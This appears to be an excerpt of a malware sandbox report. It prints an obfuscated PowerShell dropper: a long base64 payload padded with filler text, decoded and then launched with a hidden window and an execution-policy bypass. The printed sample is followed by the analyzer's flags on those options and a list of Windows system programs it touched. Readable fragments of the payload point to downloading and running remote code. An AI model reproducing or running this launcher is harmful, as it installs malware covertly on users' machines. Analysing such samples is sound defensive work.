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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe